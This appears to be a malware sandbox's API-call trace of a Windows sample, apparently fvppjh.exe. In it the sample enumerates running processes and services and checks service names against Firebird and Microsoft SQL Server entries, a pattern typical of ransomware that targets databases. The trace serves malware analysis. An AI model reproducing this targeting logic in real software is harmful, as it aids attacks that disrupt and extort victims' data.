	[0183.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0183.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0183.535] lstrlenW (lpString="RpcEptMapper") returned 12
	[0183.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0183.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0183.535] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0183.535] lstrlenW (lpString="RpcSs") returned 5
	[0183.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0183.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0183.535] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0183.535] lstrlenW (lpString="SamSs") returned 5
	[0183.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0183.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0183.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0183.535] lstrlenW (lpString="Schedule") returned 8
	[0183.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0183.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0183.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0183.535] lstrlenW (lpString="SecurityHealthService") returned 21
	[0183.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0183.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0183.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0183.536] lstrlenW (lpString="SENS") returned 4
	[0183.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0183.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0183.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0183.536] lstrlenW (lpString="ShellHWDetection") returned 16
	[0183.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0183.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0183.536] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0183.536] lstrlenW (lpString="Spooler") returned 7
	[0183.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0183.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0183.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0183.536] lstrlenW (lpString="StateRepository") returned 15
	[0183.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0183.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0183.536] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0183.536] lstrlenW (lpString="SysMain") returned 7
	[0183.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0183.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0183.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0183.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0183.536] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0183.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0183.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0183.537] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0183.537] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0183.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0183.537] lstrlenW (lpString="Themes") returned 6
	[0183.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0183.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0183.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0183.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0183.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0183.537] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0183.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0183.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0183.537] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0183.537] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0183.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61c198 | out: hHeap=0x5a0000) returned 1
	[0183.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x57c
	[0183.542] Process32FirstW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0183.543] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0183.543] lstrlenW (lpString="System") returned 6
	[0183.543] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0183.544] lstrlenW (lpString="smss.exe") returned 8
	[0183.544] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.544] lstrlenW (lpString="csrss.exe") returned 9
	[0183.544] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0183.545] lstrlenW (lpString="wininit.exe") returned 11
	[0183.545] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.545] lstrlenW (lpString="csrss.exe") returned 9
	[0183.545] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0183.545] lstrlenW (lpString="winlogon.exe") returned 12
	[0183.545] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0183.546] lstrlenW (lpString="services.exe") returned 12
	[0183.546] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0183.704] lstrlenW (lpString="lsass.exe") returned 9
	[0183.704] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.704] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.704] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.705] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.705] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.705] lstrlenW (lpString="svchost.exe") returned 11
	[0183.705] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.706] lstrlenW (lpString="svchost.exe") returned 11
	[0183.706] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0183.706] lstrlenW (lpString="dwm.exe") returned 7
	[0183.706] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.707] lstrlenW (lpString="svchost.exe") returned 11
	[0183.707] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.707] lstrlenW (lpString="svchost.exe") returned 11
	[0183.707] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.708] lstrlenW (lpString="svchost.exe") returned 11
	[0183.708] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.708] lstrlenW (lpString="svchost.exe") returned 11
	[0183.708] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.709] lstrlenW (lpString="svchost.exe") returned 11
	[0183.709] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.709] lstrlenW (lpString="svchost.exe") returned 11
	[0183.709] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.710] lstrlenW (lpString="svchost.exe") returned 11
	[0183.710] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.710] lstrlenW (lpString="svchost.exe") returned 11
	[0183.710] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.711] lstrlenW (lpString="svchost.exe") returned 11
	[0183.711] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.711] lstrlenW (lpString="svchost.exe") returned 11
	[0183.711] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0183.712] lstrlenW (lpString="spoolsv.exe") returned 11
	[0183.712] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.712] lstrlenW (lpString="svchost.exe") returned 11
	[0183.712] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0183.713] lstrlenW (lpString="audiodg.exe") returned 11
	[0183.713] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0183.713] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0183.713] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0183.714] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0183.714] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0183.714] lstrlenW (lpString="Memory Compression") returned 18
	[0183.714] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0183.715] lstrlenW (lpString="sihost.exe") returned 10
	[0183.715] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.715] lstrlenW (lpString="svchost.exe") returned 11
	[0183.715] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0183.716] lstrlenW (lpString="taskhostw.exe") returned 13
	[0183.716] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0183.716] lstrlenW (lpString="taskhostw.exe") returned 13
	[0183.716] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0183.717] lstrlenW (lpString="explorer.exe") returned 12
	[0183.717] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0183.717] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0183.717] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0183.718] lstrlenW (lpString="SearchUI.exe") returned 12
	[0183.718] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0183.718] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0183.719] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0183.719] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0183.719] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0183.719] lstrlenW (lpString="fvppjh.exe") returned 10
	[0183.720] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0183.720] lstrlenW (lpString="dllhost.exe") returned 11
	[0183.720] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0183.720] lstrlenW (lpString="dllhost.exe") returned 11
	[0183.721] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0183.721] lstrlenW (lpString="fvppjh.exe") returned 10
	[0183.721] Process32NextW (in: hSnapshot=0x57c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0183.721] CloseHandle (hObject=0x57c) returned 1
	[0183.722] Sleep (dwMilliseconds=0x1f4) 
	[0184.462] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c07a0
	[0184.463] EnumServicesStatusExW (in: hSCManager=0x41c07a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0184.463] GetLastError () returned 0xea
	[0184.463] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x61c198
	[0184.464] EnumServicesStatusExW (in: hSCManager=0x41c07a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c198, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c198, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0184.464] CloseServiceHandle (hSCObject=0x41c07a0) returned 1
	[0184.465] lstrlenW (lpString="Appinfo") returned 7
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0184.465] lstrlenW (lpString="AppXSvc") returned 7
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0184.465] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0184.465] lstrlenW (lpString="Audiosrv") returned 8
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0184.465] lstrlenW (lpString="BFE") returned 3
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
